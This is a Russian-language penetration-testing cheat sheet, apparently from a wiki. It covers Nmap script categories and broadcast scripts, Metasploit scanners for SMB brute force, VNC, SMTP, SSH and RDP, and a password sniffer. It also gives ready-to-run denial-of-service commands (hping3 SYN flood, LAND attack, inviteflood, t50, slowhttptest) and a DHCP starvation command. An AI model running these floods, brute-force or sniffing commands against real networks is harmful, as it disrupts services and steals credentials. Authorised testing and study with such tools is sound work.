<table border="1" id="bkmrk-auth-%D0%A1%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D1%8B%2C-%D1%81%D0%B2%D1%8F%D0%B7%D0%B0%D0%BD" style="border-collapse: collapse; width: 100%; height: 387.36px;"><colgroup><col style="width: 25.5358%;"></col><col style="width: 74.5834%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td style="height: 29.7969px;">auth</td><td style="height: 29.7969px;">Скрипты, связанные с авторизацией пользователя</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">broadcast</td><td style="height: 29.7969px;">Широковещательные запросы</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">brute</td><td style="height: 29.7969px;">Брутфорс паролей</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">default</td><td style="height: 29.7969px;">Скрипты, выполняемые по умолчанию</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">discovery</td><td style="height: 29.7969px;">Поиск хостов и сервисов</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">dos</td><td style="height: 29.7969px;">Атака dos</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">exploit</td><td style="height: 29.7969px;">Скрипты, использующие уязвимости для атаки</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">external</td><td style="height: 29.7969px;">Зависящие от каких-либо сервисов</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">fuzzer</td><td style="height: 29.7969px;">Генераторы случайных последовательностей</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">intrusive</td><td style="height: 29.7969px;">Могут уронить или сгенерировать большой сетевой трафик</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">malware</td><td style="height: 29.7969px;">Скрипты, связанные с обнаружением вредоносных программ</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">safe</td><td style="height: 29.7969px;">Безопасные</td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">version</td><td style="height: 29.7969px;">Определение версий</td></tr><tr><td>vuln</td><td>Скрипты, <span class="aNeGP0gI0B9AV8JaHPyH" data-src-align="44:7">связанные</span> <span class="aNeGP0gI0B9AV8JaHPyH" data-src-align="55:2">с</span> <span class="aNeGP0gI0B9AV8JaHPyH" data-src-align="73:15">уязвимостями</span> в системе <span class="aNeGP0gI0B9AV8JaHPyH" data-src-align="61:8">безопасности</span></td></tr></tbody></table>

Некоторые скрипты требуют настройки.

<table border="1" id="bkmrk-nmap---script-script" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 45.6338%;"></col><col style="width: 54.3662%;"></col></colgroup><tbody><tr><td>nmap --script script\_name &lt;target&gt;</td><td>запуск определенного скрипта. Имя скрипта или путь к папке с расширениями</td></tr><tr><td>nmap --script http-title --script-args http.useragent="Mozilla 999" &lt;target&gt;</td><td>--script-args настраивает параметры скрипта</td></tr><tr><td>nmap -sV --script vuln &lt;target&gt;

nmap -sV --script="version,discovery" &lt;target&gt;

</td><td>Определенная категория</td></tr><tr><td>nmap -sV --script "not exploit" &lt;target&gt;</td><td>Исключая категорию</td></tr><tr><td>nmap -sV --script "(http-\*) and not(http-slowloris or http-brute)" &lt;target&gt;</td><td>  
</td></tr></tbody></table>

**Трассировка выполнения скрипта**

<table border="1" id="bkmrk-nmap--sc---script-tr" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 36.8453%;"></col><col style="width: 63.2739%;"></col></colgroup><tbody><tr><td>nmap -sC --script-trace &lt;target&gt;</td><td>Простая трассировка</td></tr><tr><td>-d\[1-9\]</td><td>Увеличение уровня выводимых сообщений</td></tr></tbody></table>

**Добавление нового скрипта:**

- скопировать скрипт в /scripts в директории установки nmap
- обновить базу ```
    nmap --script-updatedb
    ```

Либо указать путь напрямую

```
nmap --script /root/loot/nonofficial.nse <target>
```

[Библиотека скриптов вне основной поставки](https://secwiki.org/w/Nmap/External_Script_Library)

**Скрипты в поставке**

**Броадкастовые скрипты**

<table border="1" id="bkmrk-broadcast-avahi-dos-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 26.1004%;"></col><col style="width: 73.8996%;"></col></colgroup><tbody><tr><td>broadcast-avahi-dos</td><td>Ищет хосты через DNS service discovery protocol и отправляет NULL UDP пакеты каждому найденному для проверки возможности DOS

</td></tr><tr><td>broadcast-db2-discover</td><td>Ищет DB2 серверы через запрос на 523/udp</td></tr><tr><td>broadcast-dhcp-discover</td><td>Поиск DHCP сервера с использованием статического адреса DE:AD:CO:DE:CA:FE</td></tr><tr><td>broadcast-dns-service-discovery</td><td>Поиск DNS серверов через DNS-SD запросы</td></tr><tr><td>broadcast-dropbox-listener</td><td>Прослушивает сеть и ждет бродкастов от dropbox клиентов (раз в 20 секунд запросы)</td></tr><tr><td>broadcast-listener</td><td>Прослушивает сеть и ждет бродкасты. Пытается разобрать и вытащить данные.</td></tr><tr><td>broadcast-ms-sql-discover</td><td>Поиск Microsoft SQL серверов</td></tr><tr><td>broadcast-novell-locate</td><td>Поиск NCP серверов</td></tr><tr><td>broadcast-ping</td><td>Бродкастовый пинг с выводом IP и MAC Нужны привилегии.</td></tr><tr><td>broadcast-netbios-master-browser</td><td>Поиск NetBios доменов</td></tr><tr><td>broadcast-rip-discover</td><td>Отправляет RIPv2 запросы и определяет хосты на которых это крутится</td></tr><tr><td>broadcast-upnp-info</td><td>Поиск UPnP хостов</td></tr><tr><td>broadcast-wsdd-discover</td><td>Поиск хостов с поддержкой WS-Discovery протокола. Также определяет WCF (.NET 4.0+).</td></tr><tr><td>lltd-discovery</td><td>Использует Microsoft LLTD протокол для поиска хостов</td></tr><tr><td>targets-sniffer</td><td>Слушает сеть 10 секунд и выводит найденные адреса</td></tr></tbody></table>

<div id="bkmrk--1"></div><div id="bkmrk--2"></div><div id="bkmrk-newtargets-is-set%2C-t"></div>

# SMB VNC SMTP

**Samba**

Есть модуль

```plaintext
auxiliary/scanner/smb/smb_login
```

Позволяет перебирать пароли для подсети. Можно перебирать один пароль или все пароли из таблицы creds.

**VNC scanner**

Позволяет искать VNC серверы без авторизации в подсети.

```plaintext
auxiliary/scanner/vnc/vnc_none_auth
```

**SMTP**

Модуль auxiliary/scanner/smtp/smtp\_enum проверяет версию сервера и пытается использовать список логинов и паролей для авторизации.

**SSH**

auxiliary/scanner/ssh/ssh\_enumusers берет список имен пользователей и проверяет, есть ли такие пользователи. Низкая вероятность корректной работы.

ssh\_version

detect\_kippo Определяет, является ли это настоящим ssh сервером или сервисом поиска нарушителей.

**RDP**

Проверка на уязвимость use auxiliary/scanner/rdp/ms12\_020\_check

# Прослушивание паролей

```
msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > run
```

Работает из коробки, без доп. настроек. Пассивное ожидание паролей.

# DOS

**DOS общего назначения**

sudo hping3 --flood -S -p 80 192.168.86.1

<table border="1" id="bkmrk--s-syn-%D0%BF%D0%B0%D0%BA%D0%B5%D1%82-%D0%A1%D0%BA%D0%BE%D1%80%D0%BE%D1%81%D1%82" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td>  
</td><td>  
</td></tr><tr><td>-S</td><td>SYN пакет</td></tr><tr><td>Скорость генерации пакетов</td><td>  
</td></tr><tr><td>-i --interval   
 --fast псевдоним -i u10000  
 --faster псевдоним -i u1000  
 --flood</td><td>ожидание (uX это X микросекунд, -i u1000). flood максимально возможная скорость генерации пакетов.</td></tr><tr><td>Целевая система</td><td>  
</td></tr><tr><td>\[IP\] или \[HOST\]</td><td>  
</td></tr><tr><td>-p \[PORT\]</td><td>  
</td></tr><tr><td>--rand-source</td><td>генерится случайный источник</td></tr></tbody></table>

LAND атака: sudo hping3 -S -p 80 192.168.1.1 -a 192.168.1.1

inviteflood DOS VoIP протокола sudo inviteflood eth0 kilroy dummy.com 192.168.86.238 150000

t50 192.168.1.1 --protocol IGMPv1 --flood -B

**DOS web сервера**

Slowloris: удержание большого количества открытых соединений с веб-сервером. Вместо переполнения инструмент атаки поддерживает соединение с сервером открытым, отправляя небольшие объемы данных на протяжении длительного времени.

Apache Killer: отправка байтов в виде перекрывающихся фрагментов. В ходе безуспешных попыток собрать эти фрагменты воедино веб-сервер исчерпывает всю доступную память.

slowhttptest реализовывает четыре HTTP-атаки: Slowloris (илиSlow Headers), атаку R-U-Dead-Yet (или Slow Body), атаку Apache Killer (или атака с помощью заголовка Range) и атаку Slow Read.

```
slowhttptest -H -u http://192.168.1.15
```

**Атаки на DHCP**

Протокол DHCP предусматривает тестовую программу под названием DHCPig, которая представляет собой еще одну атаку, направленную на исчерпание ресурсов DHCP-сервера. На практике атака может использоваться для получения контроля над сетевым трафиком. В ходе этой атаки злоумышленник расходует весь пул доступных IP-адресов и в то же время запускает собственный DHCP-сервер, который может перенаправлять трафик системы на контролируемый им же DNS-сервер.

```
sudo dhcpig -l eth0
```

**Scapy**

Интересный пакет для генерации пакетов. Можно как генерировать сырые пакеты, так и подгружать слои настройки и настраивать отдельно.